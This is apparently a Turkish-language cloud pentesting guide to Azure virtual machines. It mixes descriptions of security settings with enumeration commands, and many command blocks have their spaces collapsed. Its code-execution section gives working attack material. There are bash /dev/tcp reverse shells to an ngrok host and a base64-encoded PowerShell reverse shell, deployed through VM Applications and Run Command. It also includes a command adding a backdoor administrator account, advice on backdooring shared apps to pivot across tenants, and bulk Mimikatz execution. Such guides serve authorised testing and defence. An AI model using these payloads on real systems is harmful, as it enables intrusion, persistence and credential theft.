Azure ağları farklı varlıklar ve yapılandırma yolları içerir. Farklı Azure ağ varlıklarının kısa tanımları,örnekleri ve numaralandırma komutlarını bulabilirsiniz:
Azure Sanal Makineleri (VM'ler) esnek, talep üzerine bulut tabanlı sunuculardır ve Windows veya Linux işletim sistemlerini çalıştırmanıza olanak tanır. Fiziksel donanım yönetimi olmadan uygulamaları ve iş yüklerini dağıtmanıza olanak tanır. Azure VM'leri, belirli ihtiyaçları karşılamak ve sanal ağlar, depolama ve güvenlik araçları gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, bellek ve depolama seçenekleriyle yapılandırılabilir.
Güvenlik Yapılandırmaları
Kullanılabilirlik Alanları: Kullanılabilirlik alanları, belirli bir Azure bölgesindeki fiziksel olarak ayrılmış veri merkezi gruplarıdır ve yerel kesintiler veya felaketlerden birden fazla alanın etkilenme riskini en aza indirmek için tasarlanmıştır.
Güvenlik Türü:
Standart Güvenlik: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan güvenlik türüdür.
Güvenilir Başlatma: Bu güvenlik türü, Secure Boot ve Sanal Güvenilir Platform Modülü (vTPM) kullanarak önyükleme kitleri ve çekirdek düzeyindeki kötü amaçlı yazılımlara karşı korumayı artırır.
Gizli VM'ler: Güvenilir başlatmanın üzerine, VM, hipervizör ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve daha fazlası.
Kimlik Doğrulama: Varsayılan olarak yeni bir SSH anahtarı oluşturulur, ancak bir genel anahtar kullanmak veya önceki bir anahtarı ve varsayılan olarak azureuser olan kullanıcı adını kullanmak mümkündür. Ayrıca şifre kullanacak şekilde yapılandırmak da mümkündür.
VM disk şifrelemesi: Disk, varsayılan olarak platform yönetimli bir anahtar kullanılarak dinlenme durumunda şifrelenir.
Ana bilgisayarda Şifreleme'yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayarla depolama hizmeti arasında uçtan uca şifreleme sağlanır (docs).
NIC ağ güvenlik grubu:
Hiçbiri: Temelde her portu açar
Temel: HTTP (80), HTTPS (443), SSH (22), RDP (3389) gelen portlarını kolayca açar
Gelişmiş: Bir güvenlik grubu seçin
Yedekleme: Standart yedeklemeyi (günde bir) ve Gelişmiş (günde birden fazla) etkinleştirmek mümkündür.
Yamanın orkestrasyon seçenekleri: Bu, seçilen politikaya göre VM'lerde yamaların otomatik olarak uygulanmasını sağlar, docs olarak açıklanmıştır.
Uyarılar: VM'de bir şey olduğunda otomatik olarak e-posta veya mobil uygulama ile uyarı almak mümkündür. Varsayılan kurallar:
CPU Yüzdesi %80'den büyük
Kullanılabilir Bellek Baytları 1GB'dan az
Veri Diskleri IOPS Tüketilen Yüzdesi %95'ten büyük
OS IOPS Tüketilen Yüzdesi %95'ten büyük
Toplam Ağ 500GB'dan büyük
Toplam Ağ Çıkışı 200GB'dan büyük
VmAvailabilityMetric 1'den az
Sağlık monitörü: Varsayılan olarak port 80'de HTTP protokolünü kontrol eder
Kilitleme: Bir VM'yi yalnızca okunabilir (ReadOnly kilidi) veya okunabilir ve güncellenebilir ancak silinemez (CanNotDelete kilidi) hale getirmek için kilitleme sağlar.
Çoğu VM ile ilgili kaynak kilitleri de destekler; diskler, anlık görüntüler...
Kilitler kaynak grubu ve abonelik seviyelerinde de uygulanabilir.
Diskler & anlık görüntüler
2 veya daha fazla VM'ye bir disk eklemeyi etkinleştirmek mümkündür.
Varsayılan olarak her disk şifrelenmiştir ve platform anahtarı ile korunmaktadır.
Anlık görüntülerde de aynı durum geçerlidir.
Varsayılan olarak, diskin tüm ağlardan paylaşılması mümkündür, ancak yalnızca belirli özel erişim ile kısıtlanabilir veya kamusal ve özel erişimi tamamen devre dışı bırakabilir.
Anlık görüntülerde de aynı durum geçerlidir.
Diski dışa aktarmak için bir SAS URI (maksimum 60 gün) oluşturmak mümkündür, bu da kimlik doğrulama gerektirip gerektirmeyecek şekilde yapılandırılabilir.
Anlık görüntülerde de aynı durum geçerlidir.
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
# List all disksGet-AzDisk# Get info about a diskGet-AzDisk-Name <DiskName>-ResourceGroupName <ResourceGroupName>
Görseller, Galeri Görselleri ve Geri Yükleme Noktaları
Bir VM görüntüsü, yeni bir sanal makine (VM) oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemi içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca yedekleme veya sorun giderme amacıyla kullanılan, tek bir yönetilen diskin okunamayan, belirli bir zamandaki kopyası olmasıdır; oysa bir görüntü birden fazla diski içerebilir ve yeni VM'ler oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır.
Görüntüler, Azure'un Görüntüler bölümü veya Azure hesap galerileri içinde yönetilebilir; bu, sürümler oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar.
Bir geri yükleme noktası, VM yapılandırmasını ve VM'ye bağlı olan tüm yönetilen disklerinbelirli bir zamandaki uygulama tutarlı anlık görüntülerini saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi belirli bir zamandaki durumuna geri yükleyebilmektir.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
## List all galleries and get info about oneGet-AzGalleryGet-AzGallery-Name <GalleryName>-ResourceGroupName <ResourceGroupName>## List all image definitions in a gallery and get info about oneGet-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>Get-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>-Name <ImageDefinitionName>## List all the versions of an image definition in a galleryGet-AzGalleryImageVersion-GalleryImageDefinitionName <ImageName>-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>## List all VM applications inside a galleryGet-AzGalleryApplication-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName># Images# List all managed images in your subscriptionGet-AzImage-Name <ResourceName>-ResourceGroupName <ResourceGroupName># Restore points## List all restore points and get info about 1Get-AzRestorePointCollection-Name <CollectionName>-ResourceGroupName <ResourceGroupName>
Azure Site Recovery
Belgeler kısmından: Site Recovery, iş sürekliliğini sağlamak için iş uygulamalarını ve yüklerini kesintiler sırasında çalışır durumda tutmaya yardımcı olur. Site Recovery, fiziksel ve sanal makinelerde (VM'ler) çalışan yükleri birincil bir yerden ikincil bir yere çoğaltır. Bir kesinti meydana geldiğinde, birincil yerden ikincil bir yere geçiş yapar ve uygulamalara oradan erişirsiniz. Birincil yer tekrar çalışmaya başladığında, geri geçiş yapabilirsiniz.
Azure Bastion
Azure Bastion, sanal makinelerinize (VM'ler) Azure Portal üzerinden veya bir jump box aracılığıyla güvenli ve kesintisiz Uzak Masaüstü Protokolü (RDP) ve Güvenli Kabuk (SSH) erişimi sağlar. VM'lerinizde genel IP adreslerine ihtiyaç duymayı ortadan kaldırarak çalışır.
Bastion, çalışması gereken VNet içinde /26 alt ağ maskesine sahip AzureBastionSubnet adında bir alt ağ dağıtır. Ardından, VM'lerin portlarını İnternete açmadan RDP ve SSH kullanarak tarayıcı üzerinden iç VM'lere bağlanmayı sağlar. Ayrıca bir jump host olarak da çalışabilir.
Aboneliğinizdeki tüm Azure Bastion Host'ları listelemek ve bunlar aracılığıyla VM'lere bağlanmak için aşağıdaki komutları kullanabilirsiniz:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
# List bastionsGet-AzBastion
Metadata
Azure Instance Metadata Service (IMDS) çalışan sanal makine örnekleri hakkında bilgi sağlar yönetim ve yapılandırma için. SKU, depolama, ağ yapılandırmaları ve yaklaşan bakım olayları hakkında bilgi gibi ayrıntılar sunar REST API, 169.254.169.254 adresindeki yönlendirilemeyen IP adresinde mevcuttur, bu yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim, güvenli erişimi sağlamak için ana bilgisayar içinde kalır. IMDS'yi sorgularken, VM içindeki HTTP istemcileri doğru iletişimi sağlamak için web proxy'lerini atlamalıdır.
Ayrıca, metadata uç noktasına ulaşmak için HTTP isteğinin Metadata: true başlığına sahip olması ve X-Forwarded-For başlığını içermemesi gerekir.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)# Disks## List all disks and get info about oneGet-AzDiskGet-AzDisk-Name <DiskName>-ResourceGroupName <ResourceGroupName># Snapshots## List all galleries abd get info about oneGet-AzGalleryGet-AzGallery-Name <GalleryName>-ResourceGroupName <ResourceGroupName>## List all snapshots and get info about oneGet-AzSnapshotGet-AzSnapshot-Name <SnapshotName>-ResourceGroupName <ResourceGroupName>## List all image definitions in a gallery and get info about oneGet-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>Get-AzGalleryImageDefinition-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>-Name <ImageDefinitionName>## List all the versions of an image definition in a galleryGet-AzGalleryImageVersion-GalleryImageDefinitionName <ImageName>-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName>## List all VM applications inside a galleryGet-AzGalleryApplication-GalleryName <GalleryName>-ResourceGroupName <ResourceGroupName># Images# List all managed images in your subscriptionGet-AzImage-Name <ResourceName>-ResourceGroupName <ResourceGroupName># Restore points## List all restore points and get info about 1Get-AzRestorePointCollection-Name <CollectionName>-ResourceGroupName <ResourceGroupName># Bastion## List bastionsGet-AzBastion# Network## List all VNets in your subscriptionGet-AzVirtualNetwork## List VNet peering connections for a given VNet(Get-AzVirtualNetwork-ResourceGroupName <ResourceGroupName>-Name <VNetName>).VirtualNetworkPeerings## List Shared Resources (e.g., Azure Firewall) in the HubGet-AzFirewall## List VPN GatewaysGet-AzVirtualNetworkGateway-ResourceGroupName <ResourceGroupName>## List VPN ConnectionsGet-AzVirtualNetworkGatewayConnection-ResourceGroupName <ResourceGroupName>## List ExpressRoute CircuitsGet-AzExpressRouteCircuit# Misc## List all virtual machine scale setsGet-AzVmss## List all availability setsGet-AzAvailabilitySet## List all load balancersGet-AzLoadBalancer## List all storage accountsGet-AzStorageAccount## List all custom script extensions on a specific VMGet-AzVMExtension-VMName <VmName>-ResourceGroupName <ResourceGroupName>
VMs'de Kod Çalıştırma
VM Uzantıları
Azure VM uzantıları, Azure sanal makinelerinde (VM'ler) dağıtım sonrası yapılandırma ve otomasyon görevleri sağlayan küçük uygulamalardır.
Bu, VM'ler içinde rastgele kod çalıştırmaya olanak tanır.
Gerekli izin Microsoft.Compute/virtualMachines/extensions/write'dir.
Tüm mevcut uzantıları listelemek mümkündür:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
# It takes some mins to runGet-AzVMExtensionImage-Location <Location>-PublisherName <PublisherName>-Type <Type>
Özel kod çalıştıran özel uzantılar çalıştırmak mümkündür:
Ayrıca şu gibi diğer yükleri de çalıştırabilirsiniz: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
VMAccess uzantısını kullanarak şifreyi sıfırlama
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
İlgili VM uzantıları
Gerekli izin hala Microsoft.Compute/virtualMachines/extensions/write.
VMAccess uzantısı
Bu uzantı, Windows VM'ler içindeki kullanıcıların şifresini değiştirmeye (veya yoksa oluşturmasına) olanak tanır.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir VM uzantısıdır. Bu nedenle, bu uzantı aracılığıyla Windows VM'lerinde rastgele komutlar çalıştırmak için kullanılabilir:
Bu, bir otomasyon hesabından VM'lerde runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için Otomasyon Hesapları hizmetine bakın.
VM Uygulamaları
Bunlar, VM'lerde uygulamayı kolayca eklemek ve kaldırmak için kullanılabilecek uygulama verileri ve yükleme ile kaldırma betikleri içeren paketlerdir.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
Bireysel uygulamaları ve galerileri diğer abonelikler veya kiracılar ile paylaşmak mümkündür. Bu, bir saldırganın bir uygulamaya arka kapı koymasına ve diğer abonelikler ve kiracılara geçiş yapmasına olanak tanıyabileceği için oldukça ilginçtir.
Ancak vm uygulamaları için bir "pazar yeri" yoktur uzantılar için olduğu gibi.
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
Kullanıcı verisi
Bu, herhangi bir zamanda meta veri uç noktasından alınabilen kalıcı veridir. Azure'da kullanıcı verisinin AWS ve GCP'den farklı olduğunu unutmayın çünkü buraya bir betik koyarsanız, varsayılan olarak çalıştırılmaz.
Özel veri
VM'ye bazı verilerin iletilmesi mümkündür ve bu veriler beklenen yollar içinde saklanır:
Windows'ta özel veri %SYSTEMDRIVE%\AzureData\CustomData.bin konumunda ikili dosya olarak yer alır ve işlenmez.
Linux'ta /var/lib/waagent/ovf-env.xml konumunda saklanıyordu ve şimdi /var/lib/waagent/CustomData/ovf-env.xml konumunda saklanıyor.
Linux ajanı: Varsayılan olarak özel veriyi işlemez, verinin etkin olduğu özel bir imaj gereklidir.
cloud-init: Varsayılan olarak özel veriyi işler ve bu veri birçok formatta olabilir. Sadece özel veride betiği göndererek kolayca bir betiği çalıştırabilir.
Hem Ubuntu hem de Debian'ın buraya koyduğunuz betiği çalıştırdığını denedim.
Bunun çalıştırılması için kullanıcı verisini etkinleştirmek de gerekmez.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Komut Çalıştır
Bu, Azure'un VM'lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizmadır. Gerekli izin Microsoft.Compute/virtualMachines/runCommand/action'dır.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt